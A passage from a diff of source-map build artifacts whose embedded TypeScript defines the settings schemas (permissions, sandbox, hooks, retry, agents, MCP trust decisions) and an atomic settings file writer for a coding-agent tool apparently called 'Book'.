QACV,CAAC;AACD;AAAA,MACF;AACA,YAAM,aAAa,sBAAsB,MAAM,WAAW,GAAG;AAC7D,UAAI,CAAC,WAAW,QAAQ;AACtB,qBAAa;AAAA,UACX,OAAO;AAAA,UACP,SAAS,uCAAuC,IAAI,KAAK,IAAI,MAAM,WAAW,SAAS,uBAAuB;AAAA,UAC9G,QAAQ;AAAA,QACV,CAAC;AACD;AAAA,MACF;AACA,cAAQ,IAAI,MAAM;AAAA,QAChB;AAAA,QACA;AAAA,QACA;AAAA,QACA,QAAQ,WAAW;AAAA,MACrB,CAAC;AAAA,IACH;AAAA,EACF;AAEA,SAAO,CAAC,GAAG,QAAQ,OAAO,CAAC;AAC7B;AAGO,SAAS,cAAc,WAAmB,MAAgD;AAC/F,QAAM,UAA2C,CAAC;AAClD,aAAW,UAAU,qBAAqB,WAAW,EAAE,KAAK,CAAC,GAAG;AAC9D,YAAQ,OAAO,IAAI,IAAI,OAAO;AAAA,EAChC;AACA,SAAO;AACT;AAGO,SAAS,uBAAuB,QAAiC;AACtE,QAAM,kBAAkB;AAAA,IACtB,GAAG,OAAO,OAAO,OAAO,OAAO,CAAC,CAAC;AAAA,IACjC,GAAG,OAAO,OAAO,OAAO,WAAW,CAAC,CAAC;AAAA,EACvC,EACG,OAAO,CAAC,UAAU,MAAM,UAAU,CAAC,EACnC,KAAK,CAAC,MAAM,UAAU,MAAM,SAAS,KAAK,MAAM;AACnD,QAAM,SAAS,CAAC,UAA0B;AACxC,QAAI,WAAW;AACf,eAAW,aAAa;AACtB,iBAAW,SAAS,WAAW,WAAW,YAAY;AACxD,WAAO;AAAA,EACT;AACA,MAAI,OAAO,SAAS,UAAU,OAAO,SAAS,SAAU,CAAC,OAAO,WAAW,OAAO,KAAM;AACtF,UAAM,UAAU,OAAO,KAAK,OAAO,WAAW,CAAC,CAAC,EAAE,KAAK;AACvD,QAAI,WAAW,OAAO,OAAO;AAC7B,QAAI,kBAAkB;AACtB,QAAI;AACF,YAAM,MAAM,IAAI,IAAI,QAAQ;AAC5B,wBAAkB,QAAQ,IAAI,MAAM;AACpC,UAAI,SAAS;AACb,UAAI,OAAO;AACX,iBAAW,IAAI,SAAS;AAAA,IAC1B,QAAQ;AACN,iBAAW,OAAO,QAAQ;AAAA,IAC5B;AACA,UAAM,WAAW;AAAA,MACf,GAAI,kBAAkB,CAAC,kBAAkB,IAAI,CAAC;AAAA,MAC9C,GAAI,QAAQ,SAAS,CAAC,YAAY,QAAQ,KAAK,IAAI,CAAC,EAAE,IAAI,CAAC;AAAA,IAC7D;AACA,WAAO,GAAG,OAAO,SAAS,QAAQ,QAAQ,MAAM,IAAI,QAAQ,GAAG,SAAS,SAAS,KAAK,SAAS,KAAK,IAAI,CAAC,MAAM,EAAE;AAAA,EACnH;AACA,SAAO,CAAC,OAAO,WAAW,IAAI,GAAI,OAAO,QAAQ,CAAC,CAAE,EAAE,OAAO,OAAO,EAAE,IAAI,MAAM,EAAE,KAAK,GAAG;AAC5F;","names":[]}
@@ -1 +0,0 @@
1
- {"version":3,"sources":["../src/settings.ts","../src/settings-repository.ts","../src/cli/utils.ts","../src/settings-redaction.ts"],"sourcesContent":["import { z } from 'zod';\r\n\r\n/**\r\n * Permission rule: \"Tool\" or \"Tool(specifier)\" where specifier is a glob pattern\r\n * matched against the tool's primary argument (e.g. bash command, file path).\r\n */\r\nexport const permissionRuleSchema = z.string().min(1);\r\n\r\n/**\r\n * Bash sandbox configuration (matches CC's sandbox.* keys).\r\n */\r\nexport const sandboxSchema = z.object({\r\n enabled: z.boolean().default(false),\r\n failIfUnavailable: z.boolean().default(false),\r\n autoAllowBashIfSandboxed: z.boolean().default(true),\r\n excludedCommands: z.array(z.string()).default([]),\r\n allowUnsandboxedCommands: z.boolean().default(true),\r\n filesystem: z\r\n .object({\r\n allowWrite: z.array(z.string()).default([]),\r\n denyWrite: z.array(z.string()).default([]),\r\n denyRead: z.array(z.string()).default([]),\r\n })\r\n .default({}),\r\n network: z\r\n .object({\r\n allowedDomains: z.array(z.string()).default([]),\r\n deniedDomains: z.array(z.string()).default([]),\r\n })\r\n .default({}),\r\n});\r\n\r\n/**\r\n * Permission configuration (matches CC's permissions key).\r\n */\r\n/**\r\n * Per-rule trust decisions for `permissions.allow` entries declared by the\r\n * checked-in project layer.\r\n *\r\n * Unlike an MCP server, a permission rule *is* its own identity: change the\r\n * rule and it is a different key, so no fingerprint is needed to detect drift.\r\n * Decisions are stored per workspace in `.book/settings.local.json`, which the\r\n * repository cannot write.\r\n */\r\nexport const projectAllowRuleChoiceSchema = z.enum(['approved', 'rejected']);\r\n\r\nexport type ProjectAllowRuleChoice = z.infer<typeof projectAllowRuleChoiceSchema>;\r\n\r\nexport const permissionsSchema = z.object({\r\n allow: z.array(permissionRuleSchema).default([]),\r\n ask: z.array(permissionRuleSchema).default([]),\r\n deny: z.array(permissionRuleSchema).default([]),\r\n /**\r\n * Decisions about `allow` rules the project layer declared. A project rule\r\n * with no `approved` entry here never reaches the resolved allow list.\r\n */\r\n projectAllowRules: z.record(projectAllowRuleChoiceSchema).default({}),\r\n});\r\n\r\n/**\r\n * Hook entry: a shell command that runs at a lifecycle event.\r\n * Matches Claude Code's hook configuration format.\r\n */\r\nexport const hookEntrySchema = z.object({\r\n /** Tool(specifier) pattern to filter which events trigger this hook. */\r\n matcher: z.string().optional(),\r\n /** Shell command to run (passed through system shell). */\r\n command: z.string().min(1),\r\n /** Extra environment variables for this hook. */\r\n env: z.record(z.string()).default({}),\r\n});\r\n\r\nexport type HookEntry = z.infer<typeof hookEntrySchema>;\r\n\r\n/**\r\n * Per-entry trust decisions for hook entries declared by the checked-in project\r\n * layer, keyed by a fingerprint of `{ event, matcher, command, env }`.\r\n *\r\n * A hook is a shell command Book executes at lifecycle events, so a project\r\n * hook with no `approved` entry here never reaches the resolved hooks. Unlike\r\n * an MCP server record, a hook carries no name — the fingerprint is the key.\r\n */\r\nexport const projectHookChoiceSchema = z.enum(['approved', 'rejected']);\r\n\r\nexport type ProjectHookChoice = z.infer<typeof projectHookChoiceSchema>;\r\n\r\n/** Hook events supported by book. */\r\nexport const HOOK_EVENTS = [\r\n 'SessionStart',\r\n 'SessionEnd',\r\n 'UserPromptSubmit',\r\n 'PreToolUse',\r\n 'PostToolUse',\r\n 'Stop',\r\n 'PreCompact',\r\n 'PostCompact',\r\n 'SubagentStart',\r\n 'SubagentStop',\r\n /**\r\n * Something a human should know about while nobody is watching: a run parked on\r\n * a rejected credential, a budget crossing its ceiling, a refused spawn because\r\n * the disk is nearly full. Wire ntfy/Slack/SMS here as an ordinary shell hook.\r\n *\r\n * Only `severity: 'alarm'` is meant to wake anyone; everything else is a line to\r\n * tail. `hooksSchema` is generated from this array, so the schema cost is one\r\n * entry.\r\n */\r\n 'Notification',\r\n] as const;\r\n\r\nexport type HookEvent = (typeof HOOK_EVENTS)[number];\r\n\r\n/**\r\n * Hooks configuration — a map from event name to an array of hook entries.\r\n */\r\nexport const hooksSchema = z.object({\r\n ...(Object.fromEntries(HOOK_EVENTS.map((e) => [e, z.array(hookEntrySchema).default([])])) as {\r\n [K in HookEvent]: z.ZodDefault<z.ZodArray<typeof hookEntrySchema>>;\r\n }),\r\n /**\r\n * Decisions about hook entries the checked-in project layer declared. An\r\n * entry whose fingerprint has no `approved` record here never reaches the\r\n * resolved hooks.\r\n */\r\n projectEntries: z.record(projectHookChoiceSchema).default({}),\r\n});\r\n\r\nexport type HooksConfig = z.infer<typeof hooksSchema>;\r\n\r\n/**\r\n * Retry configuration schema — mirrors Claude Code's retry tunables.\r\n */\r\nexport const retrySettingsSchema = z.object({\r\n maxAttempts: z.number().int().min(0).max(15).default(10),\r\n baseDelayMs: z.number().int().min(100).max(60000).default(1000),\r\n maxDelayMs: z.number().int().min(100).max(300000).default(30000),\r\n totalBudgetMs: z.number().int().min(0).max(600000).default(0),\r\n requestTimeoutMs: z.number().int().min(5000).max(600000).default(600000),\r\n streamStallTimeoutMs: z.number().int().min(5000).max(120000).default(20000),\r\n /**\r\n * Stall ceiling while the model is thinking, which is a different regime.\r\n *\r\n * `streamStallTimeoutMs` is tuned for a chat: 20s of silence means something\r\n * broke. But with adaptive thinking on — the default for every Opus and Sonnet\r\n * model here, at `high` effort unless told otherwise — a long quiet stretch\r\n * before the first token is the model working, not a fault. Applying the chat\r\n * timeout to it cancels a healthy request and reports `stream_stall`.\r\n */\r\n thinkingStallTimeoutMs: z.number().int().min(10_000).max(1_800_000).default(900_000),\r\n toolRetries: z.number().int().min(0).max(3).default(1),\r\n watchdog: z.boolean().default(false),\r\n /**\r\n * How many times a turn may be re-sent after a transport fault that left the\r\n * work intact — a stalled stream, a dropped socket.\r\n *\r\n * `maxAttempts` covers connection setup only; once a 200 response is streaming\r\n * it is out of scope, so without this a single 20-second provider silence ended\r\n * the run. Set to 0 to restore that behavior exactly.\r\n */\r\n streamReissueAttempts: z.number().int().min(0).max(10).default(3),\r\n /**\r\n * Separate allowance for continuing after the provider's output cap. A large\r\n * generated file legitimately hits the cap on consecutive turns, and sharing\r\n * the transport budget would leave nothing for a real socket drop afterwards.\r\n */\r\n outputCapContinuations: z.number().int().min(0).max(50).default(10),\r\n});\r\n\r\nexport type RetrySettings = z.infer<typeof retrySettingsSchema>;\r\n\r\nexport const effortLevelSchema = z.enum(['low', 'medium', 'high', 'xhigh', 'max']);\r\n\r\nexport const providerModelSchema = z.object({\r\n label: z.string().optional(),\r\n contextWindow: z.number().int().positive().optional(),\r\n maxOutputTokens: z.number().int().positive().optional(),\r\n /** Whether this model accepts image input. Unknown models remain optimistic. */\r\n vision: z.boolean().optional(),\r\n /**\r\n * Entered by hand rather than returned by the endpoint's model-list API.\r\n * Refreshing the catalog keeps these, since they exist precisely because\r\n * discovery does not list them.\r\n */\r\n manual: z.boolean().optional(),\r\n /** Mutation-tool preference for this model; defaults to a family-level prior. */\r\n editFormat: z.enum(['patch', 'replace', 'whole']).optional(),\r\n effort: z\r\n .union([\r\n z.literal(false),\r\n z.object({\r\n default: effortLevelSchema.optional(),\r\n levels: z.array(effortLevelSchema).optional(),\r\n }),\r\n ])\r\n .optional(),\r\n});\r\n\r\nexport const providerConfigSchema = z.object({\r\n type: z.enum(['openai', 'anthropic']).default('openai'),\r\n baseURL: z.string().min(1).optional(),\r\n baseUrl: z.string().min(1).optional(),\r\n apiKey: z.string().min(1).optional(),\r\n models: z.record(providerModelSchema).default({}),\r\n});\r\n\r\n/**\r\n * Continuation: whether a turn that stops with no tool calls may be re-driven.\r\n *\r\n * `runAgentLoop` ends as soon as a turn produces no tool calls, so one user\r\n * message is the whole run and a model that writes \"I've finished\" stops there.\r\n * Enabling this lets the loop append a host-authored user turn and keep going\r\n * while there is demonstrably work left.\r\n *\r\n * Off by default: it changes when a run ends, and continuation without the\r\n * no-progress brake below would let a stalled run spin and bill silently, where\r\n * today it stops and a human notices.\r\n */\r\nexport const continuationSettingsSchema = z.object({\r\n enabled: z.boolean().default(false),\r\n /** Consecutive host-authored continuations before the run stops regardless. */\r\n maxConsecutive: z.number().int().min(1).max(1000).default(50),\r\n /**\r\n * Identical progress witnesses in a row before the run stops as no-progress.\r\n * Minimum 1: a 0 here would fire on the first boundary, before any witness\r\n * exists, and label a run that never got a chance to spin as spinning.\r\n */\r\n noProgressLimit: z.number().int().min(1).max(20).default(3),\r\n /**\r\n * Consecutive turns in which EVERY tool call was refused before the run stops.\r\n *\r\n * Enforced even when `enabled` is false, deliberately. The spin it catches\r\n * predates continuation and needs no continuation to happen: a headless run in\r\n * the default permission mode answers every prompt `deny`, so the model can\r\n * re-issue a refused call forever while `toolCalls.length > 0` keeps the\r\n * turn-end gate from ever firing. None of the existing anti-loop signals see it\r\n * either — the repeated-failure breaker ignores anything that is not `error`,\r\n * and `toolCallStats.failures` excludes `blocked` by construction.\r\n *\r\n * 0 disables the guard.\r\n */\r\n blockedToolTurnLimit: z.number().int().min(0).max(100).default(3),\r\n /** Turns between host-authored work-state messages; 0 disables them. */\r\n planRefreshTurns: z.number().int().min(0).max(500).default(25),\r\n /** Wall-clock ceiling for one continued run; 0 means no ceiling. */\r\n maxWallClockMs: z.number().int().min(0).default(0),\r\n});\r\n\r\nexport type ContinuationSettings = z.infer<typeof continuationSettingsSchema>;\r\n\r\nexport const memorySettingsSchema = z.object({\r\n enabled: z.boolean().default(true),\r\n autoSave: z.boolean().default(true),\r\n requireApproval: z.boolean().default(true),\r\n});\r\n\r\nexport const agentSettingsSchema = z.object({\r\n mode: z.enum(['adaptive', 'manual', 'off']).default('adaptive'),\r\n maxConcurrent: z.number().int().min(1).max(16).default(3),\r\n maxSpawned: z.number().int().min(1).max(64).default(8),\r\n maxDepth: z.literal(1).default(1),\r\n persist: z.boolean().default(true),\r\n includeUntrackedInSnapshot: z.boolean().default(true),\r\n telemetry: z.boolean().default(true),\r\n retentionDays: z.number().int().min(1).max(3650).default(30),\r\n checks: z.record(z.union([z.string().min(1), z.array(z.string().min(1)).min(1)])).default({}),\r\n /**\r\n * Wall-clock ceiling for one `Check` run. The 120s default suits a focused\r\n * suite; a full `npm test` on a large repository routinely exceeds it, and a\r\n * check that always times out is worse than no check because the timeout was\r\n * reported as a failing suite. Raise it per project rather than per invocation.\r\n */\r\n checkTimeoutMs: z.number().int().min(1_000).max(7_200_000).default(120_000),\r\n /**\r\n * Simultaneous agent worktrees per repository; 0 disables the check.\r\n *\r\n * Nothing reclaims a worktree automatically outside the TUI, and the store's\r\n * retention sweep runs once at startup with a 30-day default — so on a long\r\n * unattended run the count only grows. Sized above `maxConcurrent` so ordinary\r\n * fan-out is unaffected and only accumulation trips it.\r\n */\r\n maxWorktrees: z.number().int().min(0).max(256).default(24),\r\n /**\r\n * Re-drive agents that were interrupted by process death on the next start.\r\n *\r\n * A restart otherwise converts the whole pending backlog into terminal records\r\n * nothing picks up, silently losing hours of child work on a wide fan-out. The\r\n * re-drive is contained: explorers are read-only and patchers/validators run in\r\n * their own worktree, so nothing reaches the parent workspace without the usual\r\n * evidence gate. Only `process_exit` interruptions qualify — a user stop stays\r\n * stopped.\r\n */\r\n resumeInterrupted: z.boolean().default(true),\r\n /**\r\n * Refuse a new worktree when free disk would fall below this; 0 disables.\r\n * Worktrees share the filesystem with the workspace, so exhausting it breaks\r\n * the root agent's own Edit and Bash, not just the child's.\r\n */\r\n minFreeDiskBytes: z\r\n .number()\r\n .int()\r\n .min(0)\r\n .default(2 * 1024 * 1024 * 1024),\r\n profiles: z\r\n .record(\r\n z.object({\r\n model: z.string().min(1).optional(),\r\n effort: effortLevelSchema.optional(),\r\n maxTurns: z.number().int().min(1).optional(),\r\n color: z.string().optional(),\r\n }),\r\n )\r\n .default({}),\r\n ui: z.object({ enabled: z.boolean().default(true) }).default({}),\r\n routing: z\r\n .object({\r\n inlineSearchBudget: z.number().int().min(1).max(20).default(3),\r\n exploreReminder: z.boolean().default(true),\r\n })\r\n .default({}),\r\n forwardTextEvents: z.boolean().default(false),\r\n});\r\n\r\nexport const toolDiscoverySettingsSchema = z.object({\r\n mode: z.enum(['auto', 'eager', 'deferred']).default('auto'),\r\n eagerToolCount: z.number().int().min(1).max(100).default(10),\r\n schemaTokenBudget: z.number().int().min(1000).max(100000).default(8000),\r\n maxLoadedTools: z.number().int().min(1).max(100).default(15),\r\n searchLimit: z.number().int().min(1).max(5).default(5),\r\n});\r\n\r\nexport type ToolDiscoverySettings = z.infer<typeof toolDiscoverySettingsSchema>;\r\n\r\nexport const toolExecutionSettingsSchema = z.object({\r\n /** Shared across the root loop and managed children for parallel-safe tools. */\r\n maxConcurrent: z.number().int().min(1).max(8).default(4),\r\n});\r\n\r\nexport type ToolExecutionSettings = z.infer<typeof toolExecutionSettingsSchema>;\r\n\r\nexport const observabilitySettingsSchema = z.object({\r\n /** Persist a per-tool-call JSONL record for `book tool-stats`. */\r\n toolTelemetry: z.boolean().default(true),\r\n /**\r\n * Default reporting window (in days) for `book tool-stats` and the target for\r\n * `book tool-stats --prune`. Disk use is bounded by size-based log rotation;\r\n * records are only deleted when they rotate out or are explicitly pruned.\r\n */\r\n toolTelemetryRetentionDays: z.number().int().min(1).max(3650).default(30),\r\n});\r\n\r\nexport type ObservabilitySettings = z.infer<typeof observabilitySettingsSchema>;\r\n\r\nexport const mcpProjectServerChoiceSchema = z.object({\r\n /** Hash of the server's command/args/env at decision time; a mismatch re-prompts. */\r\n fingerprint: z.string().min(1),\r\n choice: z.enum(['approved', 'rejected']),\r\n});\r\n\r\nexport type McpProjectServerChoice = z.infer<typeof mcpProjectServerChoiceSchema>;\r\n\r\nexport const mcpSettingsSchema = z.object({\r\n /**\r\n * Per-server trust decisions for workspace `.mcp.json` declarations.\r\n * User-global servers (<BOOK_HOME>/.book/mcp.json) never require approval.\r\n */\r\n projectServers: z.record(mcpProjectServerChoiceSchema).default({}),\r\n});\r\n\r\nexport type McpSettings = z.infer<typeof mcpSettingsSchema>;\r\n\r\nexport const projectCommandChoiceSchema = z.object({\r\n /** Digest of the shell the body substitutes at decision time; a mismatch re-prompts. */\r\n fingerprint: z.string().min(1),\r\n choice: z.enum(['approved', 'rejected']),\r\n});\r\n\r\nexport type ProjectCommandChoice = z.infer<typeof projectCommandChoiceSchema>;\r\n\r\nexport const commandSettingsSchema = z.object({\r\n /**\r\n * Per-command trust decisions for `<workspace>/.book/commands/*.md` files\r\n * that substitute shell into their prompt. That substitution runs outside the\r\n * permission system and outside the sandbox, so a repository-controlled file\r\n * needs a decision before it runs. User-global commands\r\n * (<BOOK_HOME>/commands) were written by the user and never require one.\r\n */\r\n projectCommands: z.record(projectCommandChoiceSchema).default({}),\r\n});\r\n\r\nexport type CommandSettings = z.infer<typeof commandSettingsSchema>;\r\n\r\nexport const uiSettingsSchema = z.object({\r\n /** Show provider-native and embedded model reasoning in the interactive transcript. */\r\n showThinking: z.boolean().default(true),\r\n /** Play the full-screen fire sequence on a newly created interactive startup session. */\r\n startupAnimation: z.boolean().default(true),\r\n});\r\n\r\nexport type UiSettings = z.infer<typeof uiSettingsSchema>;\r\n\r\nexport const skillActivationSchema = z.enum(['auto', 'name-only', 'manual', 'off']);\r\nexport type SkillActivation = z.infer<typeof skillActivationSchema>;\r\n\r\nexport const skillExecutionSchema = z.enum(['inherit', 'ask', 'deny']);\r\nexport type SkillExecution = z.infer<typeof skillExecutionSchema>;\r\n\r\nexport const skillSettingsSchema = z.object({\r\n /** Emergency switch that removes skill prompt and runtime effects without deleting packages. */\r\n enabled: z.boolean().default(true),\r\n /** Per-skill visibility overrides keyed by the skill's declared name. */\r\n overrides: z.record(skillActivationSchema).default({}),\r\n /** Per-skill activation consent policy. Tool calls still use the normal permission system. */\r\n execution: z.record(skillExecutionSchema).default({}),\r\n});\r\n\r\nexport type SkillSettings = z.infer<typeof skillSettingsSchema>;\r\n\r\nexport type ProviderModelConfig = z.infer<typeof providerModelSchema>;\r\nexport type ProviderConfig = z.infer<typeof providerConfigSchema>;\r\n\r\n/** The supported production strategy. */\r\nexport const compactStrategySchema = z.literal('summary');\r\nexport type CompactStrategy = z.infer<typeof compactStrategySchema>;\r\n\r\n/**\r\n * Full settings.json schema — all keys that book supports.\r\n * New keys added in later milestones extend this schema.\r\n */\r\nexport const bookSettingsSchema = z.object({\r\n model: z.string().optional(),\r\n /** Default strategy used to reduce historical conversation context. */\r\n compactStrategy: compactStrategySchema.optional(),\r\n /** Optional model used only to generate historical conversation checkpoints. */\r\n compactModel: z.string().min(1).optional(),\r\n /** Max agent turns per user message. Omit for unlimited. */\r\n maxTurns: z.number().int().min(1).optional(),\r\n maxTokens: z.number().int().min(1000).optional(),\r\n effort: effortLevelSchema.optional(),\r\n /** TUI color theme: apple (default), dark, light, auto, a bundled palette, or a custom theme filename. */\r\n theme: z.string().min(1).optional(),\r\n /**\r\n * The shell the Bash tool spawns: `bash`, `pwsh`, `powershell`, `cmd`, `sh`,\r\n * or an executable path. Honoured from the user-global layer, an explicit\r\n * `--settings` document, or `BOOK_SHELL` only: a workspace file cannot pick\r\n * the program every command is handed to.\r\n */\r\n shell: z.string().min(1).optional(),\r\n ui: uiSettingsSchema.default({}),\r\n skills: skillSettingsSchema.default({}),\r\n autoCompactEnabled: z.boolean().optional(),\r\n /** Permission mode used by each host when no invocation-specific mode is supplied. */\r\n defaultMode: z\r\n .enum(['default', 'acceptEdits', 'plan', 'auto', 'dontAsk', 'bypassPermissions'])\r\n .optional(),\r\n disableBypassPermissionsMode: z.boolean().optional(),\r\n additionalDirectories: z.array(z.string()).default([]),\r\n env: z.record(z.string()).default({}),\r\n provider: z.record(providerConfigSchema).default({}),\r\n permissions: permissionsSchema.default({}),\r\n sandbox: sandboxSchema.default({}),\r\n hooks: hooksSchema.default({}),\r\n retry: retrySettingsSchema.default({}),\r\n memory: memorySettingsSchema.default({}),\r\n continuation: continuationSettingsSchema.default({}),\r\n agents: agentSettingsSchema.default({}),\r\n toolDiscovery: toolDiscoverySettingsSchema.default({}),\r\n toolExecution: toolExecutionSettingsSchema.default({}),\r\n observability: observabilitySettingsSchema.default({}),\r\n mcp: mcpSettingsSchema.default({}),\r\n commands: commandSettingsSchema.default({}),\r\n});\r\n\r\nexport type BookSettings = z.infer<typeof bookSettingsSchema>;\r\n\r\n/**\r\n * Resolved settings after layering (all defaults filled).\r\n */\r\nexport type ResolvedSettings = Required<\r\n Omit<\r\n BookSettings,\r\n | 'model'\r\n | 'compactModel'\r\n | 'maxTurns'\r\n | 'maxTokens'\r\n | 'effort'\r\n | 'theme'\r\n | 'shell'\r\n | 'autoCompactEnabled'\r\n | 'defaultMode'\r\n | 'disableBypassPermissionsMode'\r\n >\r\n> &\r\n Pick<\r\n BookSettings,\r\n | 'model'\r\n | 'compactModel'\r\n | 'maxTurns'\r\n | 'maxTokens'\r\n | 'effort'\r\n | 'theme'\r\n | 'shell'\r\n | 'autoCompactEnabled'\r\n | 'defaultMode'\r\n | 'disableBypassPermissionsMode'\r\n >;\r\n\r\n/**\r\n * Default settings used as the base layer before user/project/local override.\r\n */\r\nexport const DEFAULT_SETTINGS: ResolvedSettings = {\r\n compactStrategy: 'summary',\r\n permissions: { allow: [], ask: [], deny: [], projectAllowRules: {} },\r\n sandbox: {\r\n enabled: false,\r\n failIfUnavailable: false,\r\n autoAllowBashIfSandboxed: true,\r\n excludedCommands: [],\r\n allowUnsandboxedCommands: true,\r\n filesystem: { allowWrite: [], denyWrite: [], denyRead: [] },\r\n network: { allowedDomains: [], deniedDomains: [] },\r\n },\r\n hooks: {\r\n SessionStart: [],\r\n SessionEnd: [],\r\n UserPromptSubmit: [],\r\n PreToolUse: [],\r\n PostToolUse: [],\r\n Stop: [],\r\n PreCompact: [],\r\n PostCompact: [],\r\n SubagentStart: [],\r\n SubagentStop: [],\r\n Notification: [],\r\n projectEntries: {},\r\n },\r\n additionalDirectories: [],\r\n env: {},\r\n provider: {},\r\n ui: { showThinking: true, startupAnimation: true },\r\n skills: { enabled: true, overrides: {}, execution: {} },\r\n retry: {\r\n maxAttempts: 10,\r\n baseDelayMs: 1000,\r\n maxDelayMs: 30000,\r\n totalBudgetMs: 0,\r\n requestTimeoutMs: 600000,\r\n streamStallTimeoutMs: 20000,\r\n thinkingStallTimeoutMs: 900_000,\r\n toolRetries: 1,\r\n watchdog: false,\r\n streamReissueAttempts: 3,\r\n outputCapContinuations: 10,\r\n },\r\n continuation: {\r\n enabled: false,\r\n maxConsecutive: 50,\r\n noProgressLimit: 3,\r\n blockedToolTurnLimit: 3,\r\n planRefreshTurns: 25,\r\n maxWallClockMs: 0,\r\n },\r\n memory: {\r\n enabled: true,\r\n autoSave: true,\r\n requireApproval: true,\r\n },\r\n agents: {\r\n mode: 'adaptive',\r\n maxConcurrent: 3,\r\n maxSpawned: 8,\r\n maxDepth: 1,\r\n persist: true,\r\n includeUntrackedInSnapshot: true,\r\n telemetry: true,\r\n retentionDays: 30,\r\n checks: {},\r\n checkTimeoutMs: 120_000,\r\n maxWorktrees: 24,\r\n resumeInterrupted: true,\r\n minFreeDiskBytes: 2 * 1024 * 1024 * 1024,\r\n profiles: {},\r\n ui: { enabled: true },\r\n routing: { inlineSearchBudget: 3, exploreReminder: true },\r\n forwardTextEvents: false,\r\n },\r\n toolDiscovery: {\r\n mode: 'auto',\r\n eagerToolCount: 10,\r\n schemaTokenBudget: 8000,\r\n maxLoadedTools: 15,\r\n searchLimit: 5,\r\n },\r\n toolExecution: {\r\n maxConcurrent: 4,\r\n },\r\n observability: {\r\n toolTelemetry: true,\r\n toolTelemetryRetentionDays: 30,\r\n },\r\n mcp: {\r\n projectServers: {},\r\n },\r\n commands: {\r\n projectCommands: {},\r\n },\r\n};\r\n","import {\r\n closeSync,\r\n existsSync,\r\n fsyncSync,\r\n mkdirSync,\r\n openSync,\r\n readFileSync,\r\n renameSync,\r\n statSync,\r\n unlinkSync,\r\n writeSync,\r\n} from 'fs';\r\nimport { basename, dirname, join } from 'path';\r\nimport type { ZodIssue } from 'zod';\r\nimport { deleteNestedValue, setNestedValue } from './cli/utils.js';\r\nimport { bookSettingsSchema } from './settings.js';\r\nimport { redactSettingValue } from './settings-redaction.js';\r\n\r\nexport type SettingsDocumentReadResult =\r\n | { status: 'absent'; path: string }\r\n | { status: 'valid'; path: string; document: Record<string, unknown> }\r\n | { status: 'malformed'; path: string; error: string }\r\n | { status: 'non-object'; path: string; error: string };\r\n\r\nexport interface SettingsDiagnostic {\r\n path: string;\r\n issuePath?: string;\r\n message: string;\r\n}\r\n\r\nexport type SettingsMutationResult =\r\n | {\r\n ok: true;\r\n path: string;\r\n document: Record<string, unknown>;\r\n values: Record<string, unknown>;\r\n changed: boolean;\r\n }\r\n | { ok: false; path: string; diagnostics: SettingsDiagnostic[] };\r\n\r\nexport interface SettingsRepositoryOptions {\r\n writeAtomic?: (path: string, contents: string) => void;\r\n}\r\n\r\nexport const SETTINGS_TOP_LEVEL_KEYS = Object.freeze(Object.keys(bookSettingsSchema.shape).sort());\r\n\r\nexport function formatSettingsKeyHelp(heading = 'Supported top-level settings:'): string {\r\n return `${heading}\\n${SETTINGS_TOP_LEVEL_KEYS.map((key) => ` ${key}`).join('\\n')}`;\r\n}\r\n\r\nfunction issueDiagnostic(path: string, issue: ZodIssue): SettingsDiagnostic {\r\n return {\r\n path,\r\n issuePath: issue.path.join('.'),\r\n message: issue.message,\r\n };\r\n}\r\n\r\nfunction safeMessage(error: unknown): string {\r\n return error instanceof Error ? error.message : String(error);\r\n}\r\n\r\nexport function readSettingsDocument(path: string): SettingsDocumentReadResult {\r\n if (!existsSync(path)) return { status: 'absent', path };\r\n\r\n let parsed: unknown;\r\n try {\r\n parsed = JSON.parse(readFileSync(path, 'utf-8'));\r\n } catch (error) {\r\n return { status: 'malformed', path, error: safeMessage(error) };\r\n }\r\n\r\n if (parsed === null || typeof parsed !== 'object' || Array.isArray(parsed)) {\r\n return { status: 'non-object', path, error: 'Settings must contain a JSON object.' };\r\n }\r\n\r\n return { status: 'valid', path, document: parsed as Record<string, unknown> };\r\n}\r\n\r\nexport function writeFileAtomic(path: string, contents: string): void {\r\n const directory = dirname(path);\r\n mkdirSync(directory, { recursive: true });\r\n const temporaryPath = join(\r\n directory,\r\n `.${basename(path)}.${process.pid}.${crypto.randomUUID()}.tmp`,\r\n );\r\n let descriptor: number | undefined;\r\n\r\n try {\r\n descriptor = openSync(temporaryPath, 'wx', 0o600);\r\n writeSync(descriptor, contents, undefined, 'utf-8');\r\n fsyncSync(descriptor);\r\n closeSync(descriptor);\r\n descriptor = undefined;\r\n renameSync(temporaryPath, path);\r\n } catch (error) {\r\n if (descriptor !== undefined) closeSync(descriptor);\r\n try {\r\n unlinkSync(temporaryPath);\r\n } catch {\r\n // The temporary file may not have been created.\r\n }\r\n throw error;\r\n }\r\n}\r\n\r\nfunction validateTopLevelKeys(\r\n path: string,\r\n document: Record<string, unknown>,\r\n): SettingsDiagnostic[] {\r\n const supported = new Set(SETTINGS_TOP_LEVEL_KEYS);\r\n return Object.keys(document)\r\n .filter((key) => !supported.has(key))\r\n .map((key) => ({\r\n path,\r\n issuePath: key,\r\n message: `Unknown top-level setting. Supported keys: ${SETTINGS_TOP_LEVEL_KEYS.join(', ')}`,\r\n }));\r\n}\r\n\r\nexport class SettingsRepository {\r\n private readonly writeAtomic: (path: string, contents: string) => void;\r\n\r\n constructor(\r\n readonly path: string,\r\n options: SettingsRepositoryOptions = {},\r\n ) {\r\n this.writeAtomic = options.writeAtomic ?? writeFileAtomic;\r\n }\r\n\r\n read(): SettingsDocumentReadResult {\r\n return readSettingsDocument(this.path);\r\n }\r\n\r\n set(values: Record<string, unknown>): SettingsMutationResult {\r\n return this.mutate((candidate) => {\r\n for (const [key, value] of Object.entries(values)) setNestedValue(candidate, key, value);\r\n }, values);\r\n }\r\n\r\n remove(paths: string[]): SettingsMutationResult {\r\n return this.mutate((candidate) => {\r\n for (const path of paths) deleteNestedValue(candidate, path.split('.'));\r\n }, {});\r\n }\r\n\r\n update(\r\n mutation: (candidate: Record<string, unknown>) => void,\r\n displayValues: Record<string, unknown> = {},\r\n ): SettingsMutationResult {\r\n return this.mutate(mutation, displayValues);\r\n }\r\n\r\n private mutate(\r\n mutation: (candidate: Record<string, unknown>) => void,\r\n values: Record<string, unknown>,\r\n ): SettingsMutationResult {\r\n let lock: number | undefined;\r\n try {\r\n lock = this.acquireLock();\r\n return this.mutateLocked(mutation, values);\r\n } catch (error) {\r\n return {\r\n ok: false,\r\n path: this.path,\r\n diagnostics: [{ path: this.path, message: safeMessage(error) }],\r\n };\r\n } finally {\r\n if (lock !== undefined) this.releaseLock(lock);\r\n }\r\n }\r\n\r\n private acquireLock(): number {\r\n mkdirSync(dirname(this.path), { 